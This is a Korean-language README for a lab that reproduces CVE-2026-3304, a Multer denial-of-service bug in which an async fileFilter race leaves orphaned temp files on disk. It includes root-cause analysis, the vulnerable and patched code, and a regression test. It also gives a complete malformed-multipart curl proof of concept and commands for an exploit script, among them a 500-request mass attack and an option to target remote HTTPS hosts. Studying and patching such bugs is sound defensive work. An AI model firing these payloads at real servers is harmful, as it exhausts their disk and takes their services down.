
# CVE-2026-3304 재현 실험실 Multer의 비동기 fileFilter 경쟁 조건으로 인해 고아 임시 파일을 통해 디스크가 고갈되는 취약점을 재현하는 실험실입니다. 취약한 Docker 서버와 패치된 Docker 서버, 익스플로잇 스크립트, 근본 원인 분석을 포함합니다.
| 필드 | 세부 정보 |
|---|
| CVE | CVE-2026-3304 |
| 대상 | Multer < 2.1.0 (Node.js multipart/form-data 미들웨어) |
| 유형 | DoS — 고아 파일(불완전한 임시 파일 정리) |
| CWE | CWE-459: 불완전한 정리 |
| CVSS 4.0 | 8.7 높음 |
| 패치 버전 | Multer 2.1.0 |
파일 부분에 name 속성이 없는 잘못된 multipart 요청으로 인해 Multer가 디스크에 임시 파일을 생성하지만 정리하지 않습니다. 반복적인 요청으로 디스크 공간이 고갈되어 서비스 거부(DoS)가 발생합니다.
취약점은 multer/lib/make-middleware.js 내부의 fileFilter 콜백 처리 흐름에서 발생합니다.
Multer가 multipart 요청을 부분별로 스트리밍하고 파싱할 때 다음 순서가 발생합니다:
[파싱 이벤트 순서 — 취약한 버전]
1. 파트 1 헤더 수신
→ fileFilter(req, file, cb) 호출
→ setImmediate(cb) → 콜백이 다음 이벤트 루프 틱으로 지연됨
2. 파트 1 본문 수신
→ /tmp/uploads/<uuid> 열림, 데이터 쓰기 시작
3. 파트 2 헤더 수신 (name 속성 누락)
→ Multer가 'name 누락' 감지
→ errorOccured = true ← 오류 플래그 설정
→ abortWithCode('LIMIT_FIELD_KEY') 호출 → HTTP 500 예약됨
4. setImmediate 콜백 실행 (다음 이벤트 루프 틱)
→ fileFilter 결과: includeFile = true (정상 흐름)
→ [버그] errorOccured 플래그가 확인되지 않음
→ storage._handleFile() 호출 → 임시 파일이 디스크에 커밋됨
5. HTTP 500 응답 전송
→ 임시 파일이 디스크에 남음 (고아 파일)
make-middleware.js — Multer < 2.1.0)// fileFilter 완료 콜백 (setImmediate로 지연됨)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ errorOccured가 여기서 확인되지 않음
// 파트 2를 파싱하는 동안 오류가 설정되었더라도 실행이 계속됨
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// 임시 파일이 uploadedFiles에 등록되고 디스크에 남음
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
왜 setImmediate가 문제인가?
fileFilter를 setImmediate로 감싸면 콜백이 다음 이벤트 루프 틱으로 지연됩니다.
그 창에서 busboy(multipart 파서)는 다음 파트의 헤더를 계속 파싱하고,
누락된 name을 발견하여 errorOccured = true를 설정합니다.
콜백이 재개될 때 오류 상태는 이미 설정되어 있지만 코드는 이를 확인하지 않으므로
storage._handleFile이 무조건 호출되고 임시 파일이 디스크에 기록됩니다.
수정 커밋: 739919097d
fileFilter 콜백 진입 직후, storage._handleFile에 도달하기 전에
단일 if (errorOccured) 가드가 추가되었습니다.
// fileFilter 완료 콜백 (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [패치] 진행 전에 errorOccured 확인
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // 스트림 드레인 — 디스크에 파일 기록 안 함
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| 항목 | 취약 (< 2.1.0) | 패치됨 (2.1.0) |
|---|---|---|
errorOccured 확인 | ❌ 확인 안 함 | ✅ 콜백 진입 시 즉시 확인 |
오류 시 _handleFile 호출 | 예 | 차단됨 |
| 임시 파일 정리 | ❌ 누락 | ✅ fileStream.resume() 통해 |
| 요청당 고아 파일 | 1 | 0 |
fileStream.resume()이 정리하는 이유:
fileStream.resume()을 호출하면 스트림을 DiskStorage에 전달하지 않고 드레인 및 폐기하므로
파일이 기록되지 않고 디스크에 아무것도 남지 않습니다.
Multer 팀은 수정 사항을 검증하기 위해 2.1.0 패치에 다음 Mocha 테스트를 포함했습니다.
이 테스트는 이 실습 환경의 청사진이 되었습니다 — 취약한 서버는
여기에 설명된 정확한 설정(setImmediate fileFilter + 잘못된 multipart 요청)을 재현하며,
예상 동작은 취약한 버전과 패치된 버전 모두에 대해 검증됩니다.
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('async fileFilter cleanup', function () {
it('does not leave orphan files when request aborts with missing field name', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Vulnerability trigger: async fileFilter via setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Error handler: respond with 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Malicious body: Part 1 valid, Part 2 missing name attribute
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= missing
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Assert 1: server must respond with 400 (error)
assert.strictEqual(res.statusCode, 400)
// Assert 2: no orphaned files must remain on disk
assert.strictEqual(files.length, 0)
server.close(done)
}, 500)
})
})
req.write(body)
req.end()
})
})
})
| 단언 | 의미 |
|---|---|
res.statusCode === 400 | Multer가 잘못된 요청을 올바르게 거부함 |
files.length === 0 | 디스크에 고아 파일이 남지 않음 (패치 검증됨) |
취약한 버전(< 2.1.0)에서는 files.length가 1이 되어 단언이 실패합니다.
이 실습은 위의 패치 테스트 설정을 직접 반영합니다.
취약한 서버 (Dockerfile + app/server.js)는 setImmediate를 사용하는 비동기 fileFilter와 함께
Multer 2.0.2를 실행합니다 — 패치 테스트의 정확한 트리거 조건입니다:
// app/server.js — 패치 테스트의 취약점 트리거를 재현
const upload = multer({
dest: UPLOAD_DIR,
fileFilter: function (req, file, cb) {
setImmediate(function () { // ← 콜백을 지연시켜 경쟁 조건 생성
cb(null, true)
})
}
})
패치된 서버 (Dockerfile.patched)는 동일한 server.js를 실행하지만 Multer 2.1.0을 설치하여
errorOccured 가드가 적용됩니다 — 패치 테스트의 예상 통과 상태와 일치합니다.
| 서버 | 포트 | Multer | 예상 동작 |
|---|---|---|---|
| 취약 | 3000 | 2.0.2 | 잘못된 요청마다 고아 파일 생성 |
| 패치됨 | 3001 | 2.1.0 | 고아 파일 없음 — 정리가 올바르게 작동 |
참고:
fileFilter를 동기식으로 전환하면(setImmediate제거) Multer < 2.1.0에서도 고아 파일이 생성되지 않습니다. 취약점이 발생하려면 두 가지 조건이 모두 필요합니다: 비동기fileFilter및 누락된errorOccured확인.
공격은 두 번째 부분에 필수 name 속성이 없는 multipart/form-data POST를 전송합니다.
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
<binary data>
------Boundary--
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin" ← 파트 1: 유효, 여기서 임시 파일 생성
Content-Type: application/octet-stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin" ← 파트 2: name= 누락!
Content-Type: application/octet-stream
x
------Boundary--
서버 측 실행:
1. 파트 1 도착 → Multer가 /tmp/uploads/<uuid> 열고 쓰기 시작
2. fileFilter가 setImmediate로 호출됨 → 콜백 지연
3. 파트 2 도착 → Multer가 name 누락 감지 → errorOccured = true
4. setImmediate 실행 → fileFilter 콜백 실행
5. [버그] errorOccured 확인 안 함 → storage._handleFile 호출
6. 임시 파일이 디스크에 기록됨
7. HTTP 500 반환
8. /tmp/uploads/<uuid>가 영원히 디스크에 남음 ← 고아 파일
서버 응답:
HTTP/1.1 500 Internal Server Error
MulterError: Field name missing
at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)
curl -s -X POST http://localhost:3000/upload \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'
직후 고아 파일 확인:
curl http://localhost:3000/status
pip install requests)# 취약한 서버(포트 3000) + 패치된 서버(포트 3001) 시작
docker compose up -d --build
# 둘 다 실행 중인지 확인
curl http://localhost:3000/status
curl http://localhost:3001/status
bash exploit/curl_poc.sh
# 기본 (50개 요청)
python3 exploit/exploit.py
# 대량 공격 (500개 요청, 각 5 KB 페이로드)
python3 exploit/exploit.py --count 500 --size 5120
# 자체 서명 인증서가 있는 HTTPS 대상 공격
python3 exploit/exploit.py --target https://target.example.com --no-verify
# 패치된 버전과 비교
python3 exploit/exploit.py --target http://localhost:3001 --count 50
bash exploit/monitor.sh
curl -X DELETE http://localhost:3000/reset
| 대상 | 결과 |
|---|---|
| 취약한 서버 (3000) | 요청마다 고아 파일 생성, 디스크가 지속적으로 증가 |
| 패치된 서버 (3001) | 요청 수와 관계없이 고아 파일 0개 |
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50 | Delay: 0.0s | Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0
[ 10/50] 500 response: True | orphaned files: 10 | disk: 20.00 KB
[ 20/50] 500 response: True | orphaned files: 20 | disk: 40.00 KB
[ 30/50] 500 response: True | orphaned files: 30 | disk: 60.00 KB
[ 40/50] 500 response: True | orphaned files: 40 | disk: 80.00 KB
[ 50/50] 500 response: True | orphaned files: 50 | disk: 100.00 KB
============================================================
[Result] Total requests: 50 | Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted: 100.00 KB
[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)
$ docker exec cve-2026-3304-target df -h /tmp/uploads
공격 전:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 0 50.0M 0% /tmp/uploads
200개 요청 × 5 KB 후:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 1.6M 48.4M 3% /tmp/uploads
$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M /tmp/uploads
$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200
각 고아 파일은 서버가 재시작되거나 수동으로 정리될 때까지 영구적으로 디스크에 남습니다. 컨테이너의 tmpfs는 50 MB로 제한됩니다 — 한도에 도달하면 새 업로드가 완전히 실패합니다.
실행 1: 고아 파일 0 -> 50 (100 KB)
실행 2: 고아 파일 50 -> 100 (200 KB)
↑ 실행 1의 파일이 여전히 존재 — 정리되지 않음
[ 10/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 20/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 30/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 40/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 50/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[*] No orphaned files — patched version cleans up correctly
docker compose down